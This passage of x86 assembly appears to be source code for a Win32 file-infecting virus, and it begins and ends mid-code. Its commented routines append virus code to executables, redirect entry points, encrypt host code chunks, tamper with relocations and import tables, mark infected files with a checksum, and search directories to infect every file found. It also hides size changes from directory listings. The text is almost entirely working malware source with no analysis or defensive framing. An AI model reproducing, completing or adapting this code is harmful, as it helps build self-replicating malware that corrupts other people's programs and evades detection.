lea esi,[ecx.MZ_lfanew] ;get base of PE header + 3Ch
|
||
mov eax,[ebp + pcode_start - ebp_num] ;get start adress of virus code
|
||
add esi,[esi]
|
||
mov edx,[esi.NT_OptionalHeader \ ;get built-in image base
|
||
.OH_ImageBase \
|
||
-MZ_lfanew]
|
||
pushad ;save valuez to stack
|
||
xor eax,eax
|
||
x = IMAGE_SIZEOF_SECTION_HEADER
|
||
sub al,-x
|
||
mul byte ptr [esi.NT_FileHeader \ ;get number of sectionz
|
||
.FH_NumberOfSections \
|
||
-MZ_lfanew]
|
||
add ax,word ptr [esi.NT_FileHeader \ ;get first section header
|
||
.FH_SizeOfOptionalHeader \
|
||
-MZ_lfanew]
|
||
jc err_Rva2Raw2
|
||
lea ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax]
|
||
mov eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
|
||
mov edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew]
|
||
dec eax
|
||
dec edx
|
||
or eax,edx ;check SectionAlignment and FileAlignment fieldz
|
||
cmp eax,10000h
|
||
jnc err_Rva2Raw2 ;too large?
|
||
add edi,ecx ;get end of file in MM-file
|
||
inc al
|
||
jnz err_Rva2Raw2
|
||
mov eax,[ebx.SH_VirtualAddress - x]
|
||
mov ebp,ecx ;get MM-file base address
|
||
add eax,edi
|
||
add ecx,[ebx.SH_PointerToRawData - x]
|
||
sub eax,ecx ;get new RVA entry point
|
||
|
||
;at this point:
|
||
;
|
||
; cPushad.EAX = source adress of code to copy (start at encrypted stringz)
|
||
; cPushad.EBX = embedded (in PE header) host base address
|
||
; EBP = start of MM-file. Base address of MM-file
|
||
; EAX = new RVA entry point (start of virus code RVA)
|
||
; EDX = file alignment - 1
|
||
; EDI = target adress where code will be copied to in the MM-File
|
||
; ECX = start adress of last section in the MM-file
|
||
; EBX = start adress of last section header (plus section header size)
|
||
; in the MM-file
|
||
; ESI = start of PE header (+ 3Ch) in the MM-file
|
||
|
||
pushad
|
||
mov eax,[esi.NT_OptionalHeader \ ;get current entry point
|
||
.OH_AddressOfEntryPoint \
|
||
-MZ_lfanew]
|
||
|
||
;on entry:
|
||
;
|
||
; EAX = Host EntryPoint RVA
|
||
; EBP = start of MZ header (start of MM-file)
|
||
; ESI = start of PE header + 3Ch (in MM-file)
|
||
|
||
call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside)
|
||
|
||
;on exit:
|
||
;
|
||
; EBP = raw size of CODE section
|
||
; EBX = raw start of CODE section
|
||
; ECX = 0, if not found
|
||
; start of CODE section header (+ section header size), if found
|
||
; EDX = start of CODE section RVA
|
||
; ESI = relative delta of RVA inside CODE section.
|
||
|
||
jecxz err_Rva2Raw ;code section not found, invalid EntryPoint
|
||
pushad
|
||
mov ebp,esp
|
||
mov edx,[ebp.(2*cPushad).Pushad_ebp] ;get original ebp
|
||
x = IMAGE_SIZEOF_SECTION_HEADER
|
||
or byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h ;set exec bit to section
|
||
|
||
exec_set:
|
||
|
||
mov esi,[edx + ImportHdr - ebp_num] ;get import section header
|
||
xor ecx,esi ;is import table inside code section?
|
||
jz IT_in_Code ;yea, jump
|
||
|
||
;import table NOT inside code section (i.e. probably exists an .idata section)
|
||
|
||
or byte ptr [esi.SH_Characteristics.hiw.hib - x],80h ;set writable bit
|
||
|
||
IT_in_Code: ;import table is inside code section (stupid microsoft)
|
||
;no need to set the writable bit (the exec bit does the job)
|
||
|
||
sub ecx,ecx
|
||
push edi ;need this value l8r, push it
|
||
mov cl,5
|
||
sub eax,0B2FD26A3h
|
||
sub_1st_val = dword ptr $ - 4
|
||
add edi,ecx ;add edi,5
|
||
stosd
|
||
push edi
|
||
mov eax,ecx ;ax = 5
|
||
stosw
|
||
sub al,- 0e9h + 5 ;al = E9h
|
||
stosb
|
||
mov eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code
|
||
sub eax,[ebp.Pushad_eax]
|
||
sub eax,ecx ;sub eax,5
|
||
stosd
|
||
xor eax,eax
|
||
pop esi
|
||
stosw ;0
|
||
mov edi,[ebp.Pushad_eax]
|
||
|
||
nulify_relocs: ;nulify relocs that could overwrite our inserted chunks of code..
|
||
|
||
push edi
|
||
lodsw
|
||
cwde
|
||
pushad
|
||
mov esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch)
|
||
mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz
|
||
.OH_DirectoryEntries \
|
||
.DE_BaseReloc \
|
||
.DD_Size \
|
||
-MZ_lfanew]
|
||
jecxz go_popad ;no relocationz, jump
|
||
push eax ;save size of this chunk of code temporarily
|
||
push ecx
|
||
mov ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header)
|
||
mov eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz
|
||
.OH_DirectoryEntries \
|
||
.DE_BaseReloc \
|
||
.DD_VirtualAddress \
|
||
-MZ_lfanew]
|
||
call Rva2Raw ;convert RVA to a raw offset inside the section
|
||
pop eax
|
||
pop edx ;retrieve size of this chunk of code temporarily
|
||
jecxz go_popad
|
||
xchg ecx,eax
|
||
call mark_reloc ;pass nul_relocs as a parameter to get_relocs function
|
||
|
||
nul_relocs:
|
||
|
||
lodsw ;get relocation item
|
||
cwde
|
||
ror eax,3*4
|
||
add al,- IMAGE_REL_BASED_HIGHLOW ;check relocation type
|
||
jnz n_next_reloc ;not valid, get next relocation item
|
||
shr eax,5*4 ;strip or blank relocation type field from relocation item
|
||
lea eax,[eax + ebx + 4] ;convert relocation pointer to RVA
|
||
cmp edi,eax ;check if relocation points to our chunk of code..
|
||
jnc n_next_reloc ;check low boundary
|
||
add eax,-4
|
||
cmp eax,edx ;check high boundary
|
||
jnc n_next_reloc ;it doesnt point to our chunk of code, get next relocation item
|
||
|
||
;this relocation item is pointing inside our chunk of code..
|
||
;nulify and mark it!
|
||
|
||
and byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8) ;nulify relocation!
|
||
|
||
n_next_reloc:
|
||
|
||
loop nul_relocs ;get next relocation item
|
||
ret
|
||
|
||
mark_reloc:
|
||
|
||
call get_relocs
|
||
|
||
go_popad:
|
||
|
||
popad
|
||
xchg ecx,eax ;size of this chunk of code
|
||
add edi,[ebp.Pushad_ebx] ;convert RVA start of chunk of code to a raw value
|
||
sub edi,[ebp.Pushad_edx]
|
||
|
||
pre_crypt:
|
||
|
||
lodsb ;encrypt chunk of code..
|
||
xchg [edi],al
|
||
ror al,cl
|
||
inc edi
|
||
xor al,06Ah
|
||
_xor_2nd_val = byte ptr $ - 1
|
||
mov [esi-1],al
|
||
loop pre_crypt
|
||
lodsw ;get next chunk of code
|
||
cwde
|
||
pop edi
|
||
xchg ecx,eax ;no more chunkz?
|
||
jecxz pre_crypt_done
|
||
sub edi,ecx ;point EDI to next chunk
|
||
jmp nulify_relocs ;check relocationz, jump
|
||
|
||
pre_crypt_done:
|
||
|
||
sub al,-0e8h ;build 'call' instruction
|
||
pop edi
|
||
stosb
|
||
lea eax,[eax + get_base - code_start - 4 - 0e8h + esi] ;
|
||
sub eax,edi
|
||
stosd
|
||
mov cx,(v_end - code_start + 3)/4
|
||
add eax,edi
|
||
mov edi,[ebp.cPushad.cPushad.Pushad_eax] ;get start of virus code
|
||
mov edx,[ebp.cPushad.cPushad.Pushad_edx] ;get embedded base
|
||
xchg esi,edi
|
||
rep movsd ;copy virus code
|
||
sub ecx,[ebp.cPushad.Pushad_eax]
|
||
mov [ebp.cPushad.Pushad_edi],edi
|
||
add ecx,-5
|
||
mov [eax + old_base - get_base],edx ;hardcode some valuez..
|
||
mov [eax + delta_host - get_base],ecx
|
||
popad
|
||
popad
|
||
|
||
x = IMAGE_SIZEOF_SECTION_HEADER
|
||
|
||
sub edi,ecx ;change characteristicz of last section in the PE header..
|
||
lea ecx,[edx + edi]
|
||
xchg edx,eax
|
||
inc eax
|
||
cdq ;edx=0
|
||
xchg ecx,eax
|
||
div ecx ;calculate new size of last section
|
||
mul ecx
|
||
xchg eax,edi
|
||
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
|
||
sub eax,v_end - virtual_end
|
||
cmp [ebx.SH_VirtualSize - x],eax ;calculate new virtual size of last section
|
||
jnc n_vir
|
||
mov [ebx.SH_VirtualSize - x],eax
|
||
n_vir: dec eax
|
||
mov [ebx.SH_SizeOfRawData - x],edi ;update size of last section
|
||
add eax,ecx
|
||
div ecx
|
||
mul ecx
|
||
pop ebp ;get original file size
|
||
add eax,[ebx.SH_VirtualAddress - x]
|
||
cmp [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax ;update size of image field in the PE header
|
||
jnc n_img
|
||
mov [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax
|
||
n_img: add edi,[ebx.SH_PointerToRawData - x]
|
||
sub ecx,ecx
|
||
or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h ;change section flagz
|
||
push ebp
|
||
mov eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew] ;calculate special checksum to mark infected filez
|
||
xor ebp,eax
|
||
add al,-2Dh
|
||
xor ebp,0B2FD26A3h xor 0D4000000h
|
||
not al
|
||
xor al,ah
|
||
shl ebp,6
|
||
xor al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew]
|
||
shr al,2
|
||
shld eax,ebp,3*8+2
|
||
mov [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax ;store checksum value
|
||
pop eax ;get original file size
|
||
mov cl,65h
|
||
cmp eax,edi ;calculate new file size..
|
||
.if carry?
|
||
xchg edi,eax
|
||
.endif
|
||
sub eax,1 - 65h
|
||
div ecx
|
||
mul ecx ;use size paddin..
|
||
push eax
|
||
|
||
end_Attach:
|
||
|
||
popad
|
||
|
||
needed_ret:
|
||
|
||
ret
|
||
|
||
Attach endp
|
||
|
||
Process_Dir: ;this function receives a pointer to an asciiz string
|
||
; containin a path, then it searches filez with an extension
|
||
; matchin the list of extensionz, and finaly infects them.
|
||
;on entry:
|
||
; EDI = pointer to pathname
|
||
; EAX = size of pathname
|
||
|
||
dec eax
|
||
cmp eax,7Fh
|
||
jnc needed_ret ;if pathname greater than 7Fh characterz, jump
|
||
pushad
|
||
mov esi,edi
|
||
adc edi,eax
|
||
cld
|
||
mov al,'\' ;add '\' to the pathname if not included
|
||
cmp [edi-1],al
|
||
jz Find_Filez
|
||
stosb
|
||
|
||
Find_Filez: ;find filez in the specified pathname..
|
||
|
||
push edi
|
||
sub eax,'\' - '*.*'
|
||
stosd
|
||
call findfirst ;find each file "*.*" in the path
|
||
pop edi
|
||
jz end_Attach ;if error, jump
|
||
dec eax
|
||
push eax ;save search handle
|
||
|
||
Process_File: ;a file was found, process it
|
||
|
||
push edi
|
||
lea esi,[ebx.WFD_szFileName] ;get filename
|
||
call Process_File3 ;process file, infect it
|
||
|
||
Find_Next:
|
||
|
||
pop edi
|
||
pop eax
|
||
push eax
|
||
push ebx
|
||
push eax
|
||
call [ebp + ddFindNextFileA - ebp_num] ;find next file
|
||
test eax,eax ;more filez?
|
||
jnz Process_File ;yea, process it, jump
|
||
|
||
Find_Close:
|
||
|
||
call [ebp + ddFindClose - ebp_num] ;close search
|
||
|
||
end_Find:
|
||
|
||
end_Process_Dir:
|
||
|
||
popad
|
||
ret
|
||
|
||
APICall@n_2: mov cl,2 ;call an API and pass two parameterz
|
||
|
||
APICall@n proc ;this function calls an API and passes "n" parameterz
|
||
; as argumentz
|
||
;on entry:
|
||
; EAX = API function adress
|
||
; ECX = number of paremeterz
|
||
|
||
pushfd
|
||
movzx edx,cl
|
||
mov ecx,edx
|
||
push_args: push dword ptr [esp.(2*Pshd) + 4*edx] ;push parameter
|
||
loop push_args
|
||
call eax ;call API
|
||
popfd
|
||
ret
|
||
APICall@n endp
|
||
|
||
IGetProcAddressIT:
|
||
|
||
pop edx
|
||
push eax
|
||
lea eax,[ebp + vszKernel32 - ebp_num]
|
||
push eax
|
||
push edx
|
||
|
||
GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
|
||
; (the object inspected is in raw form, i.e. memory-maped)
|
||
;on entry:
|
||
; TOS+08h (Arg2): API function name
|
||
; TOS+04h (Arg1): module name
|
||
; TOS+00h (return adress)
|
||
;on exit:
|
||
; EAX = RVA pointer to IAT entry
|
||
; EAX = 0, if not found
|
||
|
||
pushad
|
||
|
||
lea esi,[ecx.MZ_lfanew]
|
||
mov ebp,ecx ;get KERNEL32 module handle
|
||
add esi,[esi] ;get address of PE header + MZ_lfanew
|
||
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
|
||
.OH_DirectoryEntries \
|
||
.DE_Import \
|
||
.DD_Size \
|
||
-MZ_lfanew]
|
||
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
|
||
mov eax,[esi.NT_OptionalHeader \ ;get address of Import directory
|
||
.OH_DirectoryEntries \
|
||
.DE_Import \
|
||
.DD_VirtualAddress \
|
||
-MZ_lfanew]
|
||
call Rva2Raw ;find size and raw start of import section
|
||
jecxz End_GetProcAddressIT
|
||
push esi
|
||
mov eax,[esp.(Pshd).Pushad_ebp]
|
||
mov [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header for l8r use
|
||
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
|
||
Get_DLL_Name: ;scan each import descriptor inside import section to match module name specified
|
||
|
||
pop esi ;diference (if any) between start of import table and start of import section
|
||
mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imported module name
|
||
|
||
End_GetProcAddressIT2:
|
||
|
||
jecxz End_GetProcAddressIT ;end of import descriptorz?
|
||
sub ecx,edx ;convert RVA pointer to RAW
|
||
cmp ecx,ebp ;check if it points inside section
|
||
jae End_GetProcAddressIT
|
||
sub esi,-x
|
||
push esi ;save next import descriptor for later retrieval
|
||
lea esi,[ebx + ecx]
|
||
mov edi,[esp.(Pshd).cPushad.Arg1] ;get module name specified from Arg1
|
||
|
||
Next_char_from_DLL: ;do a char by char comparison with module name found inside seccion
|
||
;stop when a NULL or a dot '.' is found
|
||
lodsb
|
||
add al,-'.'
|
||
jz IT_nup ;its a dot
|
||
sub al,-'.'+'a'
|
||
cmp al, 'z'-'a'+ 1
|
||
jae no_up
|
||
add al,-20h ;convert to upercase
|
||
no_up: sub al,-'a'
|
||
IT_nup: scasb
|
||
jnz Get_DLL_Name ;namez dont match, get next import descriptor
|
||
cmp byte ptr [edi-1],0
|
||
jnz Next_char_from_DLL
|
||
|
||
Found_DLL_name: ;we got the import descriptor containin specified module name
|
||
|
||
pop esi
|
||
lea eax,[edx + esi.ID_ForwarderChain - x]
|
||
add esi,ebx
|
||
mov [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for later use
|
||
mov [esp.Pushad_esi],esi ;store pointer to import descriptor for later use
|
||
push dword ptr [esp.cPushad.Arg2]
|
||
mov eax,[esp.(Pshd).Pushad_ebp]
|
||
push dword ptr [eax + K32Mod - ebp_num]
|
||
call GetProcAddressET ;scan export table of specified module handle
|
||
xchg eax,ecx ;and get function adress of specified API
|
||
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API function adressez are bound in the IAT
|
||
jecxz End_GetProcAddressIT ;if not found then go, this value cant be zero or the IAT wont be patched
|
||
push eax
|
||
call GetProcAddrIAT ;inspect first thunk (which later will be patched by the loader)
|
||
test eax,eax
|
||
jnz IAT_found ;if found then jump (save it and go)
|
||
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later will hold the original unpatched IAT)
|
||
jecxz End_GetProcAddressIT ;if not found then go, this value could be zero
|
||
push eax
|
||
call GetProcAddrIAT ;inspect original thunk
|
||
test eax,eax
|
||
jz IAT_found ;jump if not found
|
||
sub eax,ecx ;we got the pointer
|
||
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
|
||
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P
|
||
org $ - 2
|
||
|
||
End_GetProcAddressIT:
|
||
|
||
db 33h,0C0h ;xor eax,eax ;error, adress not found
|
||
|
||
IAT_found:
|
||
|
||
mov [esp.Pushad_eax],eax ;save IAT entry pointer
|
||
popad
|
||
ret (2*Pshd) ;jump and unwind parameterz in stack
|
||
|
||
findfirst: ;this function is just a wraper to the FindFistFileA API..
|
||
|
||
lea ebx,[ebp + FindData - ebp_num]
|
||
push ebx ;args for findfirst
|
||
push esi ;args for findfirst
|
||
call [ebp + ddFindFirstFileA - ebp_num] ;call FindFirstFileA API
|
||
|
||
end_findfirst:
|
||
|
||
inc eax
|
||
cld
|
||
ret
|
||
|
||
get_size: ;this function retrieves the file size and discards
|
||
; huge filez, it also sets some parameterz for l8r use
|
||
;on entry:
|
||
; EBX = pointer to WIN32_FIND_DATA structure
|
||
;on exit:
|
||
; EAX = file size
|
||
; ESI = pointer to filename
|
||
; Carry clear: file ok
|
||
; Carry set: file too large
|
||
|
||
xor ecx,ecx
|
||
test byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
|
||
jnz get_size_ret ;discard directory entriez
|
||
mov edx,ecx
|
||
cmp [ebx.WFD_nFileSizeHigh],edx ;discard huge filez, well if any thaat big (>4GB)
|
||
mov cl,65h ;load size padin value
|
||
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
|
||
mov eax,[ebx.WFD_nFileSizeLow] ;get file size
|
||
|
||
get_size_ret:
|
||
|
||
ret
|
||
|
||
GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"
|
||
; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
|
||
; the selected API name. This function works for both
|
||
; bound and unbound import descriptorz. This function is
|
||
; called from inside GetProcAddressIT.
|
||
;on entry:
|
||
; EBX = RAW start pointer of import section
|
||
; ECX = RVA pointer to IMAGE_THUNK_ARRAY
|
||
; EDX = RVA start pointer of import section
|
||
; EDI = pointer selected API function name.
|
||
; EBP = RAW size of import section
|
||
; TOS+04h (Arg1): real address of API function inside selected
|
||
; module (in case the descriptor is unbound).
|
||
; TOS+00h (return adress)
|
||
;on exit:
|
||
; EAX = RVA pointer to IAT entry
|
||
; EAX = 0, if not found
|
||
|
||
push ecx
|
||
push esi
|
||
sub ecx,edx
|
||
xor eax,eax
|
||
cmp ecx,ebp
|
||
jae IT_not_found
|
||
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array
|
||
|
||
next_thunk_dword:
|
||
|
||
lodsd ;get dword value
|
||
test eax,eax ;end of IMAGE_THUNK_DATA array?
|
||
jz IT_not_found
|
||
|
||
no_ordinal:
|
||
|
||
sub eax,edx ;convert dword to a RAW pointer
|
||
cmp eax,ebp ;dword belongs to an unbound image descriptor?
|
||
jb IT_search ;no, jump
|
||
add eax,edx ;yea, we have the API adress itself, reconvert to RVA
|
||
cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match?
|
||
jmp IT_found? ;yea, we found it, jump
|
||
|
||
IT_search:
|
||
|
||
push esi ;image descriptor contains imports by name
|
||
lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor
|
||
mov edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter
|
||
|
||
IT_next_char: ;find requested API from all imported API namez..
|
||
|
||
cmpsb ;do APIz match?
|
||
jnz IT_new_search ;no, continue searchin
|
||
|
||
IT_Matched_char:
|
||
|
||
cmp byte ptr [esi-1],0
|
||
jnz IT_next_char
|
||
|
||
IT_new_search:
|
||
|
||
pop esi ;yea, they match, we found it
|
||
|
||
IT_found?:
|
||
|
||
jnz next_thunk_dword
|
||
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
|
||
sub eax,ebx ;convert it to RVA
|
||
|
||
IT_not_found:
|
||
|
||
pop esi
|
||
pop ecx
|
||
ret (Pshd)
|
||
|
||
GetProcAddressIT ENDP
|
||
|
||
check_PE_file: ;this function opens, memory-maps a file and checks
|
||
; if its a PE file
|
||
;on entry:
|
||
; EBX = pointer to WIN32_FIND_DATA structure
|
||
; ESI = pointer to filename
|
||
;on exit:
|
||
; ESI = 0, file already infected or not infectable
|
||
; ESI != 0, file not infected
|
||
|
||
call Open&MapFile ;open and memory-map the file
|
||
jecxz end_PE_file
|
||
mov eax,[ebx.WFD_nFileSizeLow] ;get file size
|
||
add eax,-80h
|
||
jnc Close_File ;file too short?
|
||
|
||
Check_PE_sign: ;this function checks validity of a PE file.
|
||
;on entry:
|
||
; ECX = base address of memory-maped file
|
||
; EBX = pointer to WIN32_FIND_DATA structure
|
||
; EAX = host file size - 80h
|
||
;on exit:
|
||
; ESI = 0, file already infected or not infectable
|
||
; ESI != 0, file not infected
|
||
|
||
cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature
|
||
jnz Close_File
|
||
mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format
|
||
cmp eax,edi ;ptr out of range?
|
||
jb Close_File
|
||
add edi,ecx
|
||
cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature
|
||
jnz Close_File
|
||
cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ machine
|
||
IMAGE_FILE_MACHINE_I386
|
||
jnz Close_File
|
||
mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
|
||
not al
|
||
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but cant be a DLL
|
||
IMAGE_FILE_DLL
|
||
jnz Close_File
|
||
|
||
;at this point, calculate virus checksum to make sure file is really
|
||
;infected. If its infected then return original size of host previous
|
||
;to infection and store it in the WIN32_FIND_DATA structure (stealth).
|
||
|
||
mov eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field
|
||
push eax
|
||
sub al,2Dh ;calculate virus checksum to make sure file is really infected
|
||
xor ah,al
|
||
mov al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib]
|
||
xor ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw]
|
||
and al,11111100b
|
||
xor ah,al
|
||
mov [ebp + uni_or_ansi - ebp_num],ah
|
||
inc ah
|
||
pop eax
|
||
jnz go_esi
|
||
xor eax,0B2FD26A3h xor 68000000h
|
||
xor eax,[edi.NT_FileHeader.FH_TimeDateStamp]
|
||
and eax,03FFFFFFh
|
||
cmp eax,[ebx.WFD_nFileSizeLow]
|
||
jnc go_esi
|
||
mov [ebx.WFD_nFileSizeLow],eax ;return original file size
|
||
go_esi: inc esi ;set "already infected" mark
|
||
|
||
Close_File:
|
||
|
||
call Close&UnmapFile ;close and unmaps file
|
||
|
||
end_PE_file:
|
||
|
||
dec esi
|
||
ret
|
||
|
||
pop_ebp: ;get the ebp_num value needed to access variablez thru EBP
|
||
pop ebp
|
||
if (ebp_num - m_ebp)
|
||
lea ebp,[ebp + ebp_num - m_ebp]
|
||
endif
|
||
mov [ebp + uni_or_ansi - ebp_num],al
|
||
cld
|
||
|
||
another_ret:
|
||
|
||
ret
|
||
|
||
Process_File2: ;this function checks the file size, retrieves some key API
|
||
; adressez from inside the import table and infects the file.
|
||
;on entry:
|
||
; EBX = pointer to WIN32_FIND_DATA structure
|
||
; ESI = pointer to filename
|
||
|
||
call get_size
|
||
jnz another_ret ;if file size too short, jump
|
||
cmp eax,4000000h - 10*1024
|
||
jnc another_ret ;if file size too large (>64MB), jump
|
||
div ecx ;check infection thru size paddin
|
||
dec edx
|
||
js another_ret ;already infected, jump
|
||
call check_PE_file ;open file, check PE signature and close file
|
||
jnz another_ret ;not valid PE file, jump
|
||
inc byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file
|
||
jz another_ret ;discard if infected
|
||
|
||
Bless: ;this function prepares the host file for infection: blank file
|
||
; atributez, open and map file in r/w mode, retrieves RVA pointerz
|
||
; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call
|
||
; the "Attach" function to infect the file and finaly restore
|
||
; date/time stamp and attributez
|
||
|
||
push esi
|
||
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
|
||
push esi
|
||
call [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez
|
||
xchg ecx,eax
|
||
jecxz another_ret ;if error, jump, if disk is write-protected for example
|
||
push esi
|
||
mov edi,virtual_end - code_start ;calculate buffer size needed for infection
|
||
add edi,[ebx.WFD_nFileSizeLow] ;add to original size
|
||
call Open&MapFileAdj ;open and map file in read/write mode
|
||
jecxz end_Bless2 ;if any error, if file is locked for example, jump
|
||
|
||
lea eax,[ebp + vszGetModuleHandleA - ebp_num]
|
||
call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table
|
||
test esi,esi
|
||
jz end_Bless3 ;if KERNEL32 import descriptor not found, dont infect
|
||
|
||
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
|
||
mov [ebp + ptrForwarderChain - ebp_num],edx ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor
|
||
mov edx,[esi.ID_ForwarderChain - x]
|
||
mov [ebp + ddGetModuleHandleA - ebp_num],eax ;store RVA pointer to GetModuleHandleA API
|
||
mov [ebp + ddForwarderChain - ebp_num],edx ;store actual ForwarderChain field value from KERNEL32 import descriptor
|
||
cdq ;edx=0
|
||
dec eax ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed)
|
||
jns StoreHandleW
|
||
lea eax,[ebp + vszGetModuleHandleW - ebp_num]
|
||
call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in the import table
|
||
xchg eax,edx
|
||
test edx,edx ;if found, jump and store GetModuleHandleW RVA pointer
|
||
jnz StoreHandleW
|
||
|
||
cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API adressez are binded
|
||
jz StoreHandleW
|
||
cmp edx,[esi.ID_OriginalFirstThunk - x]
|
||
jz end_Bless3
|
||
mov [esi.ID_TimeDateStamp - x],edx
|
||
|
||
StoreHandleW:
|
||
|
||
mov [ebp + ddGetModuleHandleW - ebp_num],edx ;store RVA pointer to GetModuleHandleW API
|
||
lea eax,[ebp + vszGetProcAddress - ebp_num]
|
||
call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table
|
||
mov [ebp + ddGetProcAddress - ebp_num],eax ;store RVA pointer to GetModuleHandleW API if found, store zero if not found anywayz
|
||
|
||
call Attach ;infect file
|
||
;at this point:
|
||
; ECX = host base adress, start of memory-maped file
|
||
; EDI = original file size
|
||
|
||
end_Bless3:
|
||
|
||
call Close&UnmapFileAdj ;close, unmap file and restore other setingz if necesary
|
||
|
||
end_Bless2:
|
||
|
||
pop esi ;get pointer to filename
|
||
mov ecx,[ebx.WFD_dwFileAttributes] ;get original file atributez
|
||
jecxz end_Bless1
|
||
push ecx
|
||
push esi
|
||
call [ebp + ddSetFileAttributesA - ebp_num] ;restore original file atributez
|
||
|
||
end_Bless1:
|
||
|
||
end_Process_File2:
|
||
|
||
ret
|
||
|
||
GetProcAddressET proc ;This function is similar to GetProcAddressIT except
|
||
; that it looks for API functions in the export table
|
||
; of a given DLL module. It has the same functionality
|
||
; as the original GetProcAddress API exported from
|
||
; KERNEL32 except that it is able to find API
|
||
; functions exported by ordinal from KERNEL32.
|
||
;on entry:
|
||
; TOS+08h (Arg2): pszAPIname (pointer to API name)
|
||
; TOS+04h (Arg1): module handle/base address of module
|
||
; TOS+00h (return adress)
|
||
;on exit:
|
||
; ECX = API function address
|
||
; ECX = 0, if not found
|
||
|
||
pushad
|
||
@SEH_SetupFrame <jmp Proc_Address_not_found>
|
||
mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1
|
||
mov ebx,eax
|
||
add eax,[eax.MZ_lfanew] ;get address of PE header
|
||
mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory
|
||
.OH_DirectoryEntries \
|
||
.DE_Export \
|
||
.DD_Size]
|
||
jecxz Proc_Address_not_found ;size is zero, no API exported
|
||
mov ebp,ebx ;get address of Export directory
|
||
add ebp,[eax.NT_OptionalHeader \
|
||
.OH_DirectoryEntries \
|
||
.DE_Export \
|
||
.DD_VirtualAddress]
|
||
ifdef Ordinal
|
||
mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2
|
||
test eax,-10000h ;check if Arg2 is an ordinal
|
||
jz Its_API_ordinal
|
||
endif
|
||
|
||
Its_API_name:
|
||
|
||
push ecx
|
||
mov edx,ebx ;get address of exported API namez
|
||
add edx,[ebp.ED_AddressOfNames]
|
||
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API namez
|
||
xor eax,eax
|
||
cld
|
||
|
||
Search_for_API_name:
|
||
|
||
mov esi,ebx ;get address of next exported API name
|
||
add esi,[edx+eax*4]
|
||
mov edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2
|
||
|
||
Next_Char_in_API_name:
|
||
|
||
cmpsb ;find requested API from all exported API namez
|
||
jz Matched_char_in_API_name
|
||
inc eax
|
||
loop Search_for_API_name
|
||
pop eax
|
||
|
||
Proc_Address_not_found:
|
||
|
||
xor eax,eax ;API not found
|
||
jmp End_GetProcAddressET
|
||
|
||
ifdef Ordinal
|
||
|
||
Its_API_ordinal:
|
||
|
||
sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e. convert it to an index
|
||
jmp Check_Index
|
||
endif
|
||
|
||
Matched_char_in_API_name:
|
||
|
||
cmp byte ptr [esi-1],0 ;end of API name reached ?
|
||
jnz Next_Char_in_API_name
|
||
pop ecx
|
||
mov edx,ebx ;get address of exported API ordinalz
|
||
add edx,[ebp.ED_AddressOfOrdinals]
|
||
